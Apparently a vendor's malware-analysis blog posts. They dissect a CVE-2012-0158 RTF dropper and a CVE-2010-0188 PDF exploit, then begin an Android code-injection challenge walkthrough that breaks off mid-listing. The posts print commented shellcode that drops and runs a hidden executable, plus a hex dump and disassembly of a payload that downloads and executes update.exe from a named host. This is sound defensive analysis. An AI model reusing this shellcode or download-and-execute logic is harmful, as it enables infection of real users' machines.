CVE-2012-0158: RTF/OLE/CFBF/PE

Since support for the RTF file format has been added very recently with the version 0.9.4 of the Profiler, it’s a good idea to test it against real malware. I downloaded a pack of RTFs from contagiodump.blogspot.com and as I promised in the last post chose a more recent vulnerability: CVE-2012-0158. The reason why I picked a certain RTF from the pack is because most of the RTFs were automatically recognized and analyzed by the Profiler, while the following sample offers us a chance for some nice interactive analysis.

Unidentifed RTF

The first problem as you can see from the screenshot is that the RTF is not being automatically identified as such. That is because the signature is incomplete: the last two letters are missing. The next version of the Profiler will improve the detection in this regard. However, we can easily load it as RTF ourselves.

RTF foreign data

The RTF contains a lot of foreign data (meaning data which is not part of the RTF itself). Looking at the pattern an educate guess would be that it’s an encrypted payload.

The OLE stream contained in the RTF is flagged as containing possible shellcode. The Profiler detects it correctly. However, it’s actually the object embedded in the OLE stream which contains the shellcode. But wait, there’s no embedded object visible. This is because the extraction of the object failed, since the format of the OLE stream (which is undocumented) is different than usual. This is not a problem, we can just as easily load the object ourselves as the signature is easily recognizable.

Embedded CFBF

This last step was not strictly necessary, since we had already a detected shellcode in the OLE stream, but it increases the completeness of the analysis.

Since this is the header of the OLE stream:

Offset     0  1  2  3  4  5  6  7    8  9  A  B  C  D  E  F     Ascii   

00000000  01 05 00 00 02 00 00 00   1B 00 00 00 4D 53 43 6F     ............MSCo
00000010  6D 63 74 6C 4C 69 62 2E   4C 69 73 74 56 69 65 77     mctlLib.ListView
00000020  43 74 72 6C                                           Ctrl            

Another educated guess would be that this is the component affected by the vulnerability. Let’s go back to the detected shellcode.

Detected shellcode

The initial instructions make sense and the following ones not. Let’s take a closer look.

00000920:  nop 
00000921:  nop 
00000922:  nop 
00000923:  nop 
00000924:  jmp 0x936
00000926:  pop edx
00000927:  dec edx
00000928:  xor ecx, ecx
0000092A:  mov cx, 0x2da
0000092E:  xor byte ptr [edx+ecx*1], 0xee
00000932:  loop 0x92e
00000934:  jmp 0x93b
00000936:  call 0x926

This portion of code is easily recognizable as being a decryption loop for the code that follows. This is usually implemented to avoid detection. Didn’t work this time.

Let’s select the encrypted shellcode.

Encrypted shellcode

And decrypt it with the xor filter. We can confirm the correctness of the decryption by adding the ‘disasm/x86‘ filter.

Decrypted shellcode disasm

Back to the decrypted bytes, we use the script presented in the previous post to create an executable from the shellcode.

Shellcode to executable

A quick analysis with the help of the debugger.

00001000:  mov ebp, esp                           ; init
00001002:  sub esp, 0x280
00001008:  mov dword ptr [ebp-0x44], 0x27a3b
0000100F:  mov dword ptr [ebp-0x50], 0x1c400
00001016:  mov dword ptr [ebp-0x5c], 0x8e00
0000101D:  jmp 0x12c1

00001022:  pop ebx                                ; ebx = address of DATA               
00001023:  mov dword ptr [ebp-0x4c], ebx
00001026:  call 0x1250                            ; retrieves base of kernel32.dll
0000102B:  mov dword ptr [ebp], eax
0000102E:  mov ebx, eax
00001030:  push ebx
00001031:  push 0x5b8aca33
00001036:  call 0x1269                            ; retrieves address of GetTempPathA
0000103B:  mov dword ptr [ebp-0x4], eax
0000103E:  push ebx
0000103F:  push 0xbfc7034f
00001044:  call 0x1269                            ; retrieves address of SetCurrentDirectoryA
00001049:  mov dword ptr [ebp-0x8], eax
0000104C:  push ebx
0000104D:  push 0x7c0017a5
00001052:  call 0x1269                            ; retrieves address of CreateFileA
00001057:  mov dword ptr [ebp-0x38], eax
0000105A:  push ebx
0000105B:  push 0xdf7d9bad
00001060:  call 0x1269                            ; retrieves address of GetFileSize
00001065:  mov dword ptr [ebp-0x10], eax
00001068:  push ebx
00001069:  push 0x76da08ac
0000106E:  call 0x1269                            ; retrieves address of SetFilePointer
00001073:  mov dword ptr [ebp-0x14], eax
00001076:  push ebx
00001077:  push 0x10fa6516
0000107C:  call 0x1269                            ; retrieves address of ReadFile
00001081:  mov dword ptr [ebp-0x18], eax
00001084:  push ebx
00001085:  push 0xe80a791f
0000108A:  call 0x1269                            ; retrieves address of WriteFile
0000108F:  mov dword ptr [ebp-0x1c], eax
00001092:  push ebx
00001093:  push 0xffd97fb
00001098:  call 0x1269                            ; retrieves address of CloseHandle
0000109D:  mov dword ptr [ebp-0x20], eax
000010A0:  push ebx
000010A1:  push 0xc0397ec
000010A6:  call 0x1269                            ; retrieves address of GlobalAlloc
000010AB:  mov dword ptr [ebp-0x24], eax
000010AE:  push ebx
000010AF:  push 0x45b06d76
000010B4:  call 0x1269                            ; retrieves address of GetModuleFileNameA
000010B9:  mov dword ptr [ebp-0x28], eax
000010BC:  push ebx
000010BD:  push 0x7cb922f6
000010C2:  call 0x1269                            ; retrieves address of GlobalFree
000010C7:  mov dword ptr [ebp-0x2c], eax
000010CA:  push ebx
000010CB:  push 0x73e2d87e
000010D0:  call 0x1269                            ; retrieves address of ExitProcess
000010D5:  mov dword ptr [ebp-0x30], eax
000010D8:  push ebx
000010D9:  push 0xe8afe98
000010DE:  call 0x1269                            ; retrieves address of WinExec
000010E3:  mov dword ptr [ebp-0x34], eax
000010E6:  push ebx
000010E7:  push 0x78b5b983
000010EC:  call 0x1269                            ; retrieves address of TerminateProcess
000010F1:  mov dword ptr [ebp-0x84], eax
000010F7:  and dword ptr [ebp-0x48], 0x100
000010FE:  add dword ptr [ebp-0x48], 0x4          ; increment handle
00001102:  push 0x0
00001104:  push dword ptr [ebp-0x48]
00001107:  call dword ptr [ebp-0x10]              ; GetFileSize
0000110A:  cmp eax, dword ptr [ebp-0x44]          ; compares with 0x27A3B -> 162363 own file size
0000110D:  jnz 0x10fe                             ; repeat loop if it doesn't match

0000110F:  push 0x0                               ; dwMoveMethod = FILE_BEGIN
00001111:  push 0x0                               ; lpDistanceToMoveHigh
00001113:  push 0x283b                            ; lDistanceToMove
00001118:  push dword ptr [ebp-0x48]              ; hFile
0000111B:  call dword ptr [ebp-0x14]              ; SetFilePointer
0000111E:  push 0x636f64
00001123:  push 0x2e726f57                        ; pushes the string Wor.doc on the stack
00001128:  mov dword ptr [ebp-0x68], esp          ; saves string location
0000112B:  lea ebx, ptr [ebp-0x100]
00001131:  push ebx                               ; lpBuffer
00001132:  push 0x100                             ; nBufferLength
00001137:  call dword ptr [ebp-0x4]               ; GetTempPathA
0000113A:  push ebx                               ; lpPathName
0000113B:  call dword ptr [ebp-0x8]               ; SetCurrentDirectory
0000113E:  push 0x0                               ; hTemplateFile
00001140:  push 0x6                               ; dwFlagsAndAttributes = SYSTEM | HIDDEN
00001142:  push 0x2                               ; dwCreationDisposition
00001144:  push 0x0                               ; lpSecurityAttributes
00001146:  push 0x3                               ; dwShareMode
00001148:  push 0x40000000                        ; dwDesiredAccess
0000114D:  push dword ptr [ebp-0x4c]              ; lpFileName = WORD.exe (from DATA)
00001150:  call dword ptr [ebp-0x38]              ; CreateFileA
00001153:  mov dword ptr [ebp-0x54], eax          ; file handle
00001156:  mov eax, dword ptr [ebp-0x50]          ; eax = 0x1c400
00001159:  cmp eax, dword ptr [ebp-0x5c]          ; compare with 0x8e00
0000115C:  jnbe 0x1161                            ; allocate the biggest size: eax = max(0x1c400, 0x8e00)
0000115E:  mov eax, dword ptr [ebp-0x5c]
00001161:  push eax                               ; dwBytes
00001162:  push 0x40                              ; uFlags = GMEM_ZEROINIT
00001164:  call dword ptr [ebp-0x24]              ; GlobalAlloc
00001167:  mov dword ptr [ebp-0x60], eax          ; allocated memory
0000116A:  xchg esi, eax
0000116B:  push 0x0                               ; lpOverlapped
0000116D:  lea edx, ptr [ebp-0x64]
00001170:  push edx                               ; lpNumberOfBytesRead
00001171:  push dword ptr [ebp-0x50]              ; nNumberOfBytesToRead = 0x1c400
00001174:  push esi                               ; lpBuffer = allocated memory
00001175:  push dword ptr [ebp-0x48]              ; hFile
00001178:  call dword ptr [ebp-0x18]              ; ReadFile
0000117B:  mov ecx, dword ptr [ebp-0x50]          ; ecx = size
0000117E:  call 0x123d                            ; decrypts executable
00001183:  push 0x0                               ; lpOverlapped
00001185:  lea edx, ptr [ebp-0x64]
00001188:  push edx                               ; lpNumberOfBytesWritten
00001189:  push dword ptr [ebp-0x50]              ; nNumberOfBytesToWrite
0000118C:  push esi                               ; lpBuffer
0000118D:  push dword ptr [ebp-0x54]              ; hFile
00001190:  call dword ptr [ebp-0x1c]              ; WriteFile
00001193:  push dword ptr [ebp-0x54]              ; hObject
00001196:  call dword ptr [ebp-0x20]              ; CloseHandle
00001199:  push 0x0                               ; uCmdShow
0000119B:  push dword ptr [ebp-0x4c]              ; lpCmdLine = WORD.exe
0000119E:  call dword ptr [ebp-0x34]              ; WinExec
000011A1:  push 0x0                               ; dwMoveMethod = FILE_BEGIN
000011A3:  push 0x0                               ; lpDistanceToMoveHigh
000011A5:  push 0x1ec3b                           ; lDistanceToMove
000011AA:  push dword ptr [ebp-0x48]              ; hFile = own file handle
000011AD:  call dword ptr [ebp-0x14]              ; SetFilePointer
000011B0:  push 0x0                               ; hTemplateFile
000011B2:  push 0x80                              ; dwFlagsAndAttributes
000011B7:  push 0x2                               ; dwCreationDisposition
000011B9:  push 0x0                               ; lpSecurityAttributes
000011BB:  push 0x0                               ; dwShareMode
000011BD:  push 0x40000000                        ; dwDesiredAccess
000011C2:  push dword ptr [ebp-0x68]              ; lpFileName = Wor.doc
000011C5:  call dword ptr [ebp-0x38]              ; CreateFileA
000011C8:  mov dword ptr [ebp-0x54], eax          ; new file handle
000011CB:  push 0x0                               ; lpOverlapped
000011CD:  lea edx, ptr [ebp-0x64]
000011D0:  push edx                               ; lpNumberOfBytesRead
000011D1:  push dword ptr [ebp-0x5c]              ; nNumberOfBytesToRead = 0x8e00
000011D4:  push dword ptr [ebp-0x60]              ; lpBuffer = allocated memory
000011D7:  push dword ptr [ebp-0x48]              ; hFile
000011DA:  call dword ptr [ebp-0x18]              ; ReadFile
000011DD:  mov esi, dword ptr [ebp-0x60]
000011E0:  mov ecx, dword ptr [ebp-0x5c]          ; ecx = 0x8e00
000011E3:  call 0x123d                            ; decrypts doc
000011E8:  mov esi, dword ptr [ebp-0x60]
000011EB:  push 0x0                               ; lpOverlapped
000011ED:  lea edx, ptr [ebp-0x64]
000011F0:  push edx                               ; lpNumberOfBytesWritten
000011F1:  push dword ptr [ebp-0x5c]              ; nNumberOfBytesToWrite
000011F4:  push esi                               ; lpBuffer
000011F5:  push dword ptr [ebp-0x54]              ; hFile
000011F8:  call dword ptr [ebp-0x1c]              ; WriteFile
000011FB:  push dword ptr [ebp-0x54]              ; hObject
000011FE:  call dword ptr [ebp-0x20]              ; CloseHandle
00001201:  push dword ptr [ebp-0x48]              ; hObject
00001204:  call dword ptr [ebp-0x20]              ; CloseHandle
00001207:  push 0x100                             ; nSize
0000120C:  lea ebx, ptr [ebp-0x100]
00001212:  push ebx                               ; lpFilename
00001213:  push 0x0                               ; hModule
00001215:  call dword ptr [ebp-0x28]              ; GetModuleFileNameA
00001218:  mov esi, ebx                           ; strlen
0000121A:  inc esi
0000121B:  cmp byte ptr [esi], 0x0
0000121E:  jnz 0x121a
00001220:  mov edi, esi
00001222:  mov byte ptr [edi], 0x20               ; appends ' '
00001225:  inc edi
00001226:  mov esi, dword ptr [ebp-0x68]          ; appends Wor.doc
00001229:  mov ecx, 0x16
0000122E:  rep movsd dword ptr [edi], dword ptr [esi]
00001230:  push 0x5                               ; uCmdShow
00001232:  push ebx                               ; lpCmdLine = current exe name + " Wor.doc"
00001233:  call dword ptr [ebp-0x34]              ; WinExec
00001236:  xor eax, eax
00001238:  push eax                               ; uExitCode
00001239:  call dword ptr [ebp-0x30]              ; ExitProcess

; decrypts payload
0000123D:  pushad 
0000123E:  mov edi, esi
00001240:  lodsb byte ptr [esi]
00001241:  cmp al, 0x0
00001243:  jz 0x124b
00001245:  cmp al, 0xfc
00001247:  jz 0x124b
00001249:  xor al, 0xfc
0000124B:  stosb byte ptr [edi]
0000124C:  loop 0x1240
0000124E:  popad 
0000124F:  ret 

; retrieves base of kernel32.dll
00001250:  push esi    
00001251:  mov ebx, dword ptr fs:[0x30]
00001258:  mov ebx, dword ptr [ebx+0xc]
0000125B:  mov ebx, dword ptr [ebx+0x14]
0000125E:  mov ebx, dword ptr [ebx]
00001260:  mov ebx, dword ptr [ebx]
00001262:  mov eax, dword ptr [ebx+0x10]
00001265:  pop esi
00001266:  ret 0x4

; retrieves address of API
00001269:  push ebx
0000126A:  push ebp
0000126B:  push esi
0000126C:  push edi
0000126D:  mov ebp, dword ptr [esp+0x18]
00001271:  mov eax, dword ptr [ebp+0x3c]
00001274:  mov edx, dword ptr [ebp+eax*1+0x78]
00001278:  add edx, ebp
0000127A:  mov ecx, dword ptr [edx+0x18]
0000127D:  mov ebx, dword ptr [edx+0x20]
00001280:  add ebx, ebp
00001282:  jecxz 0x12b6
00001284:  dec ecx
00001285:  mov esi, dword ptr [ebx+ecx*4]
00001288:  add esi, ebp
0000128A:  xor edi, edi
0000128C:  cld 
0000128D:  xor eax, eax
0000128F:  lodsb byte ptr [esi]
00001290:  cmp al, ah
00001292:  jz 0x129b
00001294:  ror edi, 0xd
00001297:  add edi, eax
00001299:  jmp 0x128d
0000129B:  cmp edi, dword ptr [esp+0x14]
0000129F:  jnz 0x1282
000012A1:  mov ebx, dword ptr [edx+0x24]
000012A4:  add ebx, ebp
000012A6:  mov cx, word ptr [ebx+ecx*2]
000012AA:  mov ebx, dword ptr [edx+0x1c]
000012AD:  add ebx, ebp
000012AF:  mov eax, dword ptr [ebx+ecx*4]
000012B2:  add eax, ebp
000012B4:  jmp 0x12b8
000012B6:  xor eax, eax
000012B8:  mov edx, ebp
000012BA:  pop edi
000012BB:  pop esi
000012BC:  pop ebp
000012BD:  pop ebx
000012BE:  ret 0x8

000012C1:  call 0x1022

;
; DATA
;

Offset     0  1  2  3  4  5  6  7    8  9  A  B  C  D  E  F     Ascii   

000002C0                    57 4F   52 44 2E 65 78 65 00 00           WORD.exe..
000002D0  00 00 00 00 00 00 00 00   00 00                       ..........      

The debugger was necessary only to check which APIs are retrieved by the shellcode and from there static analysis was easy. To sum up the shellcode decrypts two files, an executable and a doc file, executes the first directly and opens the second with the same program which is executing the shellcode.

From the shellcode we can retrieve the ranges of the encrypted payloads:

offset: 0x283b size: 0x1c400
offset: 0x1ec3b size: 0x8e00

Embedded payloads

Now we can open the encrypted payloads and apply the simple decryption code.

Payload decryption

from Pro.UI import proContext, ProView

view = proContext().getCurrentView()
if view.isValid() and view.type() == ProView.Type_Hex:
    b = view.readBytes(0, view.getSize())
    for x in range(len(b)):
        if b[x] != 0 and b[x] != 0xFC:
            b[x] = b[x] ^ 0xFC
    view.setBytes(b)

We save the decrypted payloads to disk. In the near future this won’t be necessary as such a filter will be easily created and used to load files inside the workspace of the Profiler itself.

We can use the safe text preview of Word Documents in the Profiler to view the text of the document opened by the shellcode.

DOC preview

From the text it seems to be directed at something gov: “My Esteemed Colleagues; Members of the Board of Governors of the Indian Business Chamber in Vietnam”.

The reason for opening the second document is clearly that the instance of the original program which ran the shellcode would’ve crashed and was therefore terminated cleanly with ExitProcess by the shellcode itself. Spawning a second instance with a clean document doesn’t make the user suspicious, from his point of view he just opened a document and a document has indeed been opened.

The executable is not protected by any means and so it’s just a matter of opening it with IDA Pro and spend a few hours understanding the whole code. But that’s beyond the scope of this demonstration.

CVE-2010-0188: PDF/Form/TIFF

Given the good reception of the last post, I’ve decided to dedicate more time posting use cases for the Profiler. Today we’re going to analyze a PDF exploiting CVE-2010-0188. Quite old as the name can tell, but it doesn’t really matter for the sake of the demonstration. There’s no real criteria why I picked this one in particular, I just downloaded a pack of malicious PDFs from contagiodump.blogspot.com.

Opening the Zip archive with the Profiler, I chose a random PDF. It is flagged as risky by the Profiler, because it contains an interactive form. If we take a look at the embedded form it’s easy to recognize an embedded image in it which basically represents the whole data of the form. Let’s load this image as an embedded file:

Embedded TIFF

We need to specify the ‘convert/from_base64‘ filter in order to load the actual data. The content of the image is quite obvious. Lots of repetitive bytes, some suspicious strings and some bytes with higher entropy which a trained eye can easily spot as being x86 instructions.

Offset     0  1  2  3  4  5  6  7    8  9  A  B  C  D  E  F     Ascii   

00000000  4D 4D 00 2A 00 00 20 38   0C 90 0C 90 0C 90 0C 90     MM.*...8........
00000010  0C 90 0C 90 0C 90 0C 90   0C 90 0C 90 0C 90 0C 90     ................
00000020  0C 90 0C 90 0C 90 0C 90   0C 90 0C 90 0C 90 0C 90     ................
00000030  0C 90 0C 90 0C 90 0C 90   0C 90 0C 90 0C 90 0C 90     ................
00000040  0C 90 0C 90 0C 90 0C 90   0C 90 0C 90 0C 90 0C 90     ................
00000050  0C 90 0C 90 0C 90 0C 90   0C 90 0C 90 0C 90 0C 90     ................
00000060  0C 90 0C 90 0C 90 0C 90   0C 90 0C 90 0C 90 0C 90     ................
00000070  0C 90 0C 90 0C 90 0C 90   0C 90 0C 90 0C 90 0C 90     ................
00000080  0C 90 0C 90 0C 90 0C 90   0C 90 0C 90 0C 90 0C 90     ................
00000090  0C 90 0C 90 0C 90 0C 90   0C 90 0C 90 0C 90 0C 90     ................
000000A0  0C 90 0C 90 0C 90 0C 90   0C 90 0C 90 0C 90 0C 90     ................
000000B0  0C 90 0C 90 0C 90 0C 90   0C 90 0C 90 0C 90 0C 90     ................
000000C0  0C 90 0C 90 0C 90 0C 90   0C 90 0C 90 0C 90 0C 90     ................
000000D0  0C 90 0C 90 0C 90 0C 90   0C 90 0C 90 0C 90 0C 90     ................
000000E0  0C 90 0C 90 0C 90 0C 90   0C 90 0C 90 0C 90 0C 90     ................
000000F0  0C 90 0C 90 0C 90 0C 90   0C 90 0C 90 0C 90 0C 90     ................
00000100  0C 90 0C 90 0C 90 0C 90   0C 90 0C 90 0C 90 0C 90     ................
00000110  0C 90 0C 90 0C 90 0C 90   0C 90 0C 90 0C 90 0C 90     ................
00000120  0C 90 0C 90 0C 90 0C 90   0C 90 0C 90 0C 90 0C 90     ................
00000130  0C 90 0C 90 EB 46 5F 31   C9 83 E9 01 89 FE 30 C0     .....F_1......0.
00000140  2C 01 F2 AE FE 47 FF 89   FB 30 C0 2C 01 F2 AE FE     ,....G...0.,....
00000150  47 FF 89 FD F2 AE FE 47   FF EB 71 60 31 C9 64 8B     G......G..q1.d.
00000160  71 30 8B 76 0C 8B 76 1C   8B 5E 08 8B 56 20 8B 36     q0.v..v..^..V..6
00000170  66 39 4A 18 75 F2 89 5C   24 1C 61 C3 EB 5B 60 8B     f9J.u..$.a..[.
00000180  6C 24 24 8B 45 3C 8B 54   05 78 01 EA 8B 4A 18 8B     l$$.E<.T.x...J..
00000190  5A 20 01 EB E3 34 49 8B   34 8B 01 EE 31 FF 31 C0     Z....4I.4...1.1.
000001A0  FC AC 84 C0 74 07 C1 CF   12 01 C7 EB F4 3B 7C 24     ....t........;|$
000001B0  28 75 E1 8B 5A 24 01 EB   66 8B 0C 4B 8B 5A 1C 01     (u..Z$..f..K.Z..
000001C0  EB 8B 04 8B 01 E8 89 44   24 1C 61 C3 EB 54 31 D2     .......D$.a..T1.
000001D0  52 52 53 55 52 FF D0 EB   1A EB 5D E8 7B FF FF FF     RRSUR.....].{...
000001E0  BA E7 BA 8B C4 52 50 E8   92 FF FF FF 31 D2 52 FF     .....RP.....1.R.
000001F0  D0 EB 2D E8 63 FF FF FF   BA AA 6E 8A F3 52 50 E8     ..-.c.....n..RP.
00000200  7A FF FF FF 31 D2 83 C2   FF 83 EA FA 52 53 FF D0     z...1.......RS..
00000210  EB C9 BA 47 7D C8 A0 52   50 E8 60 FF FF FF EB AE     ...G}..RP.`.....
00000220  EB 5D E8 34 FF FF FF BA   12 CE 1A 09 52 50 E8 4B     .].4........RP.K
00000230  FF FF FF 56 FF D0 EB DA   E8 F9 FE FF FF 75 72 6C     ...V.........url
00000240  6D 6F 6E 2E 64 6C 6C FF   2E 2E 2F 75 70 64 61 74     mon.dll.../updat
00000250  65 2E 65 78 65 FF 68 74   74 70 3A 2F 2F 76 69 63     e.exe.http://vic
00000260  74 6F 72 6E 69 67 6C 69   6F 2E 69 6E 66 6F 2F 34     torniglio.info/4
00000270  33 68 62 74 72 2F 64 6F   77 6E 6C 6F 61 64 5F 66     3hbtr/download_f
00000280  69 6C 65 2E 70 68 70 3F   65 3D 41 64 6F 62 65 2D     ile.php?e=Adobe-
00000290  39 30 2D 32 30 31 30 2D   30 31 38 38 FF CD 03 3E     90-2010-0188...>
000002A0  3E 3E 3E 3E 3E 3E 3E 3E   3E 3E 3E 3E 3E 3E 3E 3E     >>>>>>>>>>>>>>>>
000002B0  3E 3E 3E 3E 3E 3E 3E 3E   3E 3E 3E 3E 3E 3E 3E 3E     >>>>>>>>>>>>>>>>
more brackets...

The repetition of the 0x0C 0x90 sequence is easily identifiable as a slide for the shellcode that follows:

00001000:  or al, 0x90
00001002:  or al, 0x90
00001004:  or al, 0x90
00001006:  or al, 0x90
; etc.

Thus, the space after the slide is the start of the actual shellcode. Let’s disassemble it with the Profiler:

Shellcode disasm

In order to quickly analyze the shellcode we can debug it. We select the portion from 0x134 to 0x29E, press Ctrl+R and run the action ‘Shellcode to executable‘. If you don’t have this action, update your copy of the Profiler.

Shellcode to EXE action

What it does is to create a Portable Executable out from the bytes selected in the hex view, so that we can easily debug them with every debugger.

Shellcode to EXE

Optionally we can specify an application to automatically open the generated file. In this case, as you can see, I have selected OllyDbg.

Here’s the analysis of the shellcode:

00001000:  jmp 0x1048
00001002:  pop edi                               ; edi = start of strings
00001003:  xor ecx, ecx
00001005:  sub ecx, 0x1                          ; ecx = 0xFFFFFFFF
00001008:  mov esi, edi                          ; esi = 0x1108
0000100A:  xor al, al
0000100C:  sub al, 0x1                           ; al = 0xFF
0000100E:  repne scasb byte ptr [edi]            ; find 0xFF terminator
00001010:  inc byte ptr [edi-0x1]                ; set to 0
00001013:  mov ebx, edi                          ; repeats for the second string
00001015:  xor al, al
00001017:  sub al, 0x1
00001019:  repne scasb byte ptr [edi]
0000101B:  inc byte ptr [edi-0x1]
0000101E:  mov ebp, edi                          ; repeats for the third string
00001020:  repne scasb byte ptr [edi]
00001022:  inc byte ptr [edi-0x1]
; now the three strings 'urlmon.dll', '../update.exe' and 
; 'http://victorniglio.info/43hbtr/download_file.php?e=Adobe-90-2010-0188' 
; are 0 terminated
00001025:  jmp 0x1098

00001027:  pushad                                ; retrieves the base of kernel32.dll
00001028:  xor ecx, ecx
0000102A:  mov esi, dword ptr fs:[ecx+0x30]
0000102E:  mov esi, dword ptr [esi+0xc]
00001031:  mov esi, dword ptr [esi+0x1c]
00001034:  mov ebx, dword ptr [esi+0x8]
00001037:  mov edx, dword ptr [esi+0x20]
0000103A:  mov esi, dword ptr [esi]
0000103C:  cmp word ptr [edx+0x18], cx
00001040:  jnz 0x1034
00001042:  mov dword ptr [esp+0x1c], ebx        ; ebx = kernel32.dll base
00001046:  popad 
00001047:  ret 

00001048:  jmp 0x10a5

0000104A:  pushad                               ; this function retrieves the address of an API
0000104B:  mov ebp, dword ptr [esp+0x24]
0000104F:  mov eax, dword ptr [ebp+0x3c]
00001052:  mov edx, dword ptr [ebp+eax*1+0x78]
00001056:  add edx, ebp
00001058:  mov ecx, dword ptr [edx+0x18]
0000105B:  mov ebx, dword ptr [edx+0x20]
0000105E:  add ebx, ebp
00001060:  jecxz 0x1096
00001062:  dec ecx
00001063:  mov esi, dword ptr [ebx+ecx*4]
00001066:  add esi, ebp
00001068:  xor edi, edi
0000106A:  xor eax, eax
0000106C:  cld 
0000106D:  lodsb byte ptr [esi]
0000106E:  test al, al
00001070:  jz 0x1079
00001072:  ror edi, 0x12
00001075:  add edi, eax
00001077:  jmp 0x106d
00001079:  cmp edi, dword ptr [esp+0x28]
0000107D:  jnz 0x1060
0000107F:  mov ebx, dword ptr [edx+0x24]
00001082:  add ebx, ebp
00001084:  mov cx, word ptr [ebx+ecx*2]
00001088:  mov ebx, dword ptr [edx+0x1c]
0000108B:  add ebx, ebp
0000108D:  mov eax, dword ptr [ebx+ecx*4]
00001090:  add eax, ebp
00001092:  mov dword ptr [esp+0x1c], eax        ; eax = API address
00001096:  popad 
00001097:  ret

00001098:  jmp 0x10ee
0000109A:  xor edx, edx
0000109C:  push edx                             ; lpfnCB
0000109D:  push edx                             ; dwReserved
0000109E:  push ebx                             ; szFileName = ../update.exe
0000109F:  push ebp                             ; szURL = http://victorniglio.info/43hbtr/download_file.php?e=Adobe-90-2010-0188
000010A0:  push edx                             ; pCaller
000010A1:  call eax                             ; URLDownloadToFileA
000010A3:  jmp 0x10bf

000010A5:  jmp 0x1104                          
000010A7:  call 0x1027                          ; after the call eax = kernel32.dll base   
000010AC:  mov edx, 0xc48bbae7
000010B1:  push edx
000010B2:  push eax
000010B3:  call 0x104a                          ; retrieve address of ExitProcess
000010B8:  xor edx, edx
000010BA:  push edx
000010BB:  call eax                             ; ExitProcess
000010BD:  jmp 0x10ec
000010BF:  call 0x1027                          ; after the call eax = kernel32.dll base             
000010C4:  mov edx, 0xf38a6eaa
000010C9:  push edx
000010CA:  push eax
000010CB:  call 0x104a                          ; retrieve address of WinExec
000010D0:  xor edx, edx
000010D2:  add edx, 0xffffffff
000010D5:  sub edx, 0xfffffffa
000010D8:  push edx                             ; uCmdShow = 5
000010D9:  push ebx                             ; lpCmdLine = ../update.exe
000010DA:  call eax                             ; WinExec
000010DC:  jmp 0x10a7

000010DE:  mov edx, 0xa0c87d47
000010E3:  push edx
000010E4:  push eax
000010E5:  call 0x104a                         ; retrieve address of URLDownloadToFileA
000010EA:  jmp 0x109a

000010EC:  jmp 0x114b                          ; jumps to int 3
000010EE:  call 0x1027                         ; after the call eax = kernel32.dll base
000010F3:  mov edx, 0x91ace12
000010F8:  push edx
000010F9:  push eax
000010FA:  call 0x104a                          ; retrieve address of LoadLibraryA
000010FF:  push esi                             ; "urlmon.dll
00001100:  call eax                             ; LoadLibraryA
00001102:  jmp 0x10de
00001104:  call 0x1002

Very standard code as you can see. It downloads a file with URLDownloadToFileA, executes it with WinExec and quits.

The next time I’ll try to pick out something more recent.

BlueBox Android Challenge

Some weeks (? I don’t even remember the time frame) ago I was made aware by a friend of this challenge. Basically injection of Dalvik code through native code. I found some minutes this morning to look into it and while I’m sure somebody else has already solved it, it’s a nice way of showing a bit of how to reverse engineer Android applications with the Profiler.

The first problem we encounter is that the APK (which is a Zip archive) has been tampered with. It asks incorrectly for a decryption key because all file headers have had their GeneralPurposeBit modifed, e.g.:

; file header
; offset: 28BB2

Signature             : 02014B50
CreatorVersion        : 0014
ExtractorVersion      : 0014
GeneralBitFlag        : 0809       <-- should be 0
CompressionMethod     : 0008
LastModTime           : 2899
LastModDate           : 4262
Crc32                 : CFEF1C2F
CompressedSize        : 000000F7
UncompressedSize      : 000001D0
FileNameLength        : 001C
ExtraFieldLength      : 0000
FileCommentLength     : 0000
Disk                  : 0000
InternalFileAttributes: 0000
ExternalFileAttributes: 00000000
LocalHeaderOffset     : 00000C15
FileName              : res/menu/activity_action.xml
ExtraField            : 
FileComment           : 

A few lines of code to fix this field for all file entries in the Zip archive:

from Pro.UI import *

obj = proContext().currentScanProvider().getObject()
n = obj.GetEntryCount()
for i in range(n):
    obj.GetEntry(i).Set("GeneralBitFlag", 0)
s = obj.GetStream()
s.save(s.name() + "_fixed")

Now we can explore the contents of the APK with the Profiler. We have the usual 'classes.dex' file plus the native library 'lib/armeabi/libnet.so'. Let's open the library with IDA. You'll notice the functions it contains aren't many and just by looking at them we'll stumble at this function:

void *__fastcall search(unsigned int a1)
{
  unsigned int v1; // r4@1
  __int32 v2; // r7@1
  int v3; // r4@1
  int v4; // r5@2
  signed int v5; // r4@3
  signed int v6; // r8@3
  int v7; // r4@3
  int v8; // r6@3
  int v9; // r0@3
  int v10; // r0@3
  void *v11; // r4@3

  v1 = a1;
  v2 = sysconf(39);
  v3 = v1 - v1 % v2;
  do
  {
    v3 -= v2;
    v4 = v3 + 40;
  }
  while ( !findmagic(v3 + 40) );
  v5 = getStrIdx(v3 + 40, "L-ÿava/lang/String;", 0x12u);
  v6 = getStrIdx(v4, "add", 3u);
  v7 = getTypeIdx(v4, v5);
  v8 = getClassItem(v4, v7);
  v9 = getMethodIdx(v4, v6, v7);
  v10 = getCodeItem(v4, v8, v9);
  v11 = (void *)(v10 + 16);
  mprotect((void *)(v10 - (v10 + 16) % (unsigned int)v2 + 16), v2, 3);
  return memcpy(v11, inject, 0xDEu);
}

It's clear that at some point during the execution of the Dalvik code this function is triggered which writes the array 'inject' into the memory space of the DEX module. We can verify that they are indeed Dalvik opcodes with the appropriate filter. Select the bytes representing the array in the hex view and then open the filter view:

Dalvik filter

The functions called before the actual injection locate the exact position of the code. They help us as well: back to the Profiler, let's find the method "L-ÿava/lang/String;":"add":

Methods

From here we get the class index and name. Just by looking at the disassembled class we'll notice a method filled with nops:

Method with nops

The code size of the method matches the payload size (111 * 2 = 0xDE):

Classes

Let's write back the instructions to the DEX module:

Write payload

We could do this with a filter just as well by the way:

And now we can analyze the injected code:

  public void zoom(java.lang.String)
  {
    /* 0002782C 12 02             */ const/4 v2, #int 0 // #0
    /* 0002782E 6E 10 1F 0C 0C 00 */ invoke-virtual {v12}, int java.lang.String.length()
    /* 00027834 0A 04             */ move-result v4
    /* 00027836 22 05 DB 01       */ new-instance v5, java.util.HashMap
    /* 0002783A 70 10 4D 0C 05 00 */ invoke-direct {v5}, void java.util.HashMap.()
    /* 00027840 1A 00 00 00       */ const-string v0, ""
    /* 00027844 5B B0 FC 02       */ iput-object v0, v11, java.lang.String content
    /* 00027848 6E 10 22 0C 0C 00 */ invoke-virtual {v12}, char[] java.lang.String.toCharArray()
    /* 0002784E 0C 06             */ move-result-object v6
    /* 00027850 21 67             */ array-length v7, v6
    /* 00027852 01 23             */ move v3, v2
loc_40:
    /* 00027854 34 73 03 00       */ if-lt v3, v7, loc_46 // +3
